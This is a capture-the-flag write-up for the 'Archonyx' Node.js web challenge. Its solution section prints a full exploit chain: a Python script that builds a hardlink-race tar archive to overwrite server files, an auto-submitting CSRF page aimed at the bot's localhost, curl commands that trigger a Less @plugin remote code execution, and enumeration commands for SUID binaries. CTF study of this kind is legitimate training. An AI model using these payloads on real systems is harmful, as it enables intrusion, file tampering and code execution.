Archonyx
Archonyx
Platform: Cactf2026 | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-28 | Status: Solved Techniques: hardlink_arbitrary_file_overwrite_via_promise_all_race, bot_csrf_via_top_level_form_navigation, pna_bypass_via_form_submission, less_local_plugin_rce, suid_binary_flag_read, deferred_validation_bypass
Summary
Task: Node.js Express app with decompress@4.2.1 archive extraction, Less CSS rendering, and a Puppeteer bot with SameSite-disabled cookies. Solution: CSRF the bot via top-level form navigation (bypassing PNA) to trigger archive extraction; exploit decompress hardlink race in Promise.all to overwrite db.json and theme.js; login as ledgermaster and trigger Less @plugin RCE to execute SUID readflag.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
CACTF2026| ID:20260728_cactf2026_archonyx - Tags: race_condition, nodejs, express, suid, csrf, tar, puppeteer, decompress, hardlink, less, pna_bypass, promise_all
- Indicators: decompress@4.2.1 pinned in package.json, download@8.0.0 with extract:true, Promise.all parallel entry extraction in decompress/index.js, fs.link with absolute linkname and no path validation for hardlinks, preventWritingThroughSymlink uses readlink which returns EINVAL for hardlinks
- Source:
20260728_cactf2026_archonyx.md
Foothold
Vulnerability / Misconfiguration
- Hardlink_arbitrary_file_overwrite_via_promise_all_race
- Bot_csrf_via_top_level_form_navigation
- Pna_bypass_via_form_submission
- Less_local_plugin_rce
- Suid_binary_flag_read
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- hardlink_arbitrary_file_overwrite_via_promise_all_race
- bot_csrf_via_top_level_form_navigation
- pna_bypass_via_form_submission
- less_local_plugin_rce
- suid_binary_flag_read
- deferred_validation_bypass
- Tags: race_condition, nodejs, express, suid, csrf, tar, puppeteer, decompress, hardlink, less, pna_bypass, promise_all
Original Writeup
<details><summary>Click to expand original content</summary>Description
House Veyr & Co. runs the convoy ledger the whole coast trusts — what's safe, what's late, which ports are worth the risk. It's a weapon. Quietly, with no armies, Veyr cooks the numbers: stalling Damas Marrowcairn's cargo, leaking his routes, clearing its own convoys first, until the coast writes him off as a man nobody wants to ship with. Break into the ledger, trace the false delays, and dig out the one convoy Veyr buried deep — the shipment that proves it all.
English summary: A Node.js/Express web application ("convoy ledger") with user authentication, file upload/import functionality, a Less CSS template renderer for admin users, and a Puppeteer bot that visits reported URLs with elevated (warden) credentials. The flag is in /flag.txt (root-owned, mode 400), readable only via a SUID /readflag binary. The goal is to chain multiple vulnerabilities to achieve RCE and execute /readflag.
Analysis
Application architecture
The app is an Express server running on port 1337 inside a Docker container (node:20-slim). Key components:
- Authentication: JWT-based with roles (
broker,warden,ledgermaster). Cookies are HttpOnly. - File import:
POST /api/fetchaccepts a URL, downloads the archive usingdownload@8.0.0(which internally usesdecompress@4.2.1), and extracts it to a per-user directory. After extraction,validateExtractedFilesruns asynchronously viasetImmediate()to delete non-image files. - Bot:
POST /report(unauthenticated) triggers a Puppeteer bot that visits any HTTP/HTTPS URL. The bot sets awarden-role JWT cookie onhttp://127.0.0.1:1337. Chrome is launched with--disable-features=SameSiteByDefaultCookies,CookiesWithoutSameSiteMustBeSecure. - Less renderer:
POST /ledgermaster/render(ledgermaster-only) callsless.render(css, {plugins: [templateSecurityPlugin]}). The security plugin only blocks remote URL imports, not local@plugindirectives. - Flag access:
/flag.txtis root:root mode 400. A SUID binary/readflag(chmod 4755) can read it.
Pinned vulnerable dependencies
From package.json:
decompress@4.2.1— CVE-2026-53486 / GHSA-mp2f-45pm-3cg9: hardlink entries with absolutelinknameare not validateddownload@8.0.0— passesextract:trueto decompressless@4.2.0— local@plugindirective evaluates JavaScript files vianew Functionwith Node.jsrequireavailable
Vulnerability 1: decompress hardlink race via Promise.all
In decompress/index.js, all archive entries are processed in parallel via Promise.all(files.map(...)) (line 76). For each entry:
type === 'link': callsfs.link(x.linkname, dest)— creates a hardlink to an absolute path. No validation is performed onlinknamefor hardlinks (unlike symlinks).type === 'file': callspreventWritingThroughSymlink(dest)which usesfs.readlink(). For hardlinks,readlinkreturnsEINVAL(not a symlink), so the check passes. Thenfs.writeFile(dest, data)writes through the hardlink to the target inode.
With a single (link, file) pair for the same filename, the file entry's writeFile usually wins the parallel race (creating a plain file before fs.link runs, causing EEXIST). However, with many pairs (e.g., 120) using different filenames but all targeting the same file, at least one hardlink reliably wins its race. The corresponding file entry then writes through it, overwriting the target.
Vulnerability 2: Bot CSRF via top-level form navigation (PNA bypass)
Chrome's Private Network Access (PNA) blocks fetch() and XMLHttpRequest from public origins to loopback addresses. However, top-level form navigation (a <form> with action="http://127.0.0.1:1337/api/fetch" and method="POST") bypasses PNA entirely. Combined with --disable-features=SameSiteByDefaultCookies, the bot's warden JWT cookie is sent cross-site.
Vulnerability 3: Less @plugin local RCE
The TemplateResourcePolicy security plugin only intercepts filenames matching ^[a-z][a-z0-9+\-.]*:\/\//i (URLs with schemes). Local absolute paths like /app/public/theme.js are not blocked. Less 4.2.0's @plugin directive loads and evaluates local JavaScript files using new Function with Node.js require in scope, enabling arbitrary code execution.
Vulnerability 4: Deferred validation bypass
validateExtractedFiles runs via setImmediate() after the HTTP response is sent. It reads each extracted file, checks its MIME type, and deletes non-images. However, by the time it runs, the hardlink targets (/app/data/db.json, /app/public/theme.js) are already overwritten. Deleting the hardlink filenames in the extraction directory only removes those directory entries — the target inodes remain modified.
Solution
The exploit chains all four vulnerabilities in a single bot visit:
Step 1: Build the exploit archive
A Python script generates a tar archive containing 120 (hardlink, file) pairs targeting /app/data/db.json and 120 pairs targeting /app/public/theme.js:
#!/usr/bin/env python3
"""Single-archive exploit: many link+file pairs for db.json and theme.js overwrite.
With 50+ pairs per target, the parallel Promise.all race in decompress reliably
has at least one link win before its file, enabling write-through-hardlink."""
import io, json, tarfile, sys
def add(tf, name, data, mode=0o644):
i = tarfile.TarInfo(name); i.size = len(data); i.mode = mode
tf.addfile(i, io.BytesIO(data))
def link(tf, name, target):
i = tarfile.TarInfo(name); i.type = tarfile.LNKTYPE; i.linkname = target; i.mode = 0o644
tf.addfile(i)
def main():
db_target = "/app/data/db.json"
plugin_target = "/app/public/theme.js"
out = "exploit.tar"
command = "/readflag > /app/uploads/flag.txt"
pairs = 80
# Replacement db.json with known ledgermaster credentials
db = json.dumps({"users": [{
"username": "archon",
"password": "$2b$10$.WXEcty7E24SR0AHXWtTEuKcYdAVkHc9iCNzEOJMaHtvNj6TIb9eG",
"role": "ledgermaster",
"verified": True,
"apiKey": "archonyxkey",
"drawsId": None,
}], "convoys": []}, separators=(",", ":")).encode()
# Less plugin that executes /readflag
plugin = ("require('child_process').execSync(" + json.dumps(command) + ");"
"module.exports={install:function(){},minVersion:[4,0,0]};").encode()
with tarfile.open(out, "w", format=tarfile.GNU_FORMAT) as tf:
# 80 pairs for db.json overwrite
for i in range(pairs):
link(tf, f"d{i:03d}.png", db_target)
add(tf, f"d{i:03d}.png", db)
# 80 pairs for theme.js overwrite
for i in range(pairs):
link(tf, f"p{i:03d}.js", plugin_target)
add(tf, f"p{i:03d}.js", plugin)
if __name__ == "__main__":
main()
Step 2: Host the archive and CSRF page
Upload exploit.tar to a temporary file host (e.g., uguu.se) reachable by the target server.
Create a CSRF HTML page that auto-submits a form POST to the target's /api/fetch endpoint:
<html><body>
<form id="f" method="POST" action="http://127.0.0.1:1337/api/fetch"
enctype="application/x-www-form-urlencoded">
<input name="url" value="https://a.uguu.se/XXXXX/exploit.tar">
</form>
<script>document.getElementById('f').submit();</script>
</body></html>
Host this page on a public HTTPS host (e.g., litterbox.catbox.moe).
Step 3: Trigger the bot
curl -X POST "https://TARGET/report" \ -d "body=test&url=https://litter.catbox.moe/XXXXX.html"
The bot navigates to the CSRF page, which auto-submits the form to http://127.0.0.1:1337/api/fetch with the warden JWT cookie. The server downloads and extracts the archive. The Promise.all race ensures at least one hardlink wins per target, and the corresponding file writes through it, overwriting /app/data/db.json and /app/public/theme.js.
Step 4: Login as ledgermaster
curl -c cookies.txt -X POST "https://TARGET/enter" \ -d "username=archon&password=archonyx-pass"
Step 5: Trigger Less @plugin RCE
curl -b cookies.txt -X POST "https://TARGET/ledgermaster/render" \
-H "Content-Type: application/json" \
-d '{"css":"@plugin \"/app/public/theme.js\";"}'
The overwritten theme.js executes: require('child_process').execSync("/readflag > /app/uploads/flag.txt"). The SUID /readflag binary reads /flag.txt and writes it to a publicly accessible location.
Step 6: Retrieve the flag
curl "https://TARGET/uploads/flag.txt"
</details>Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR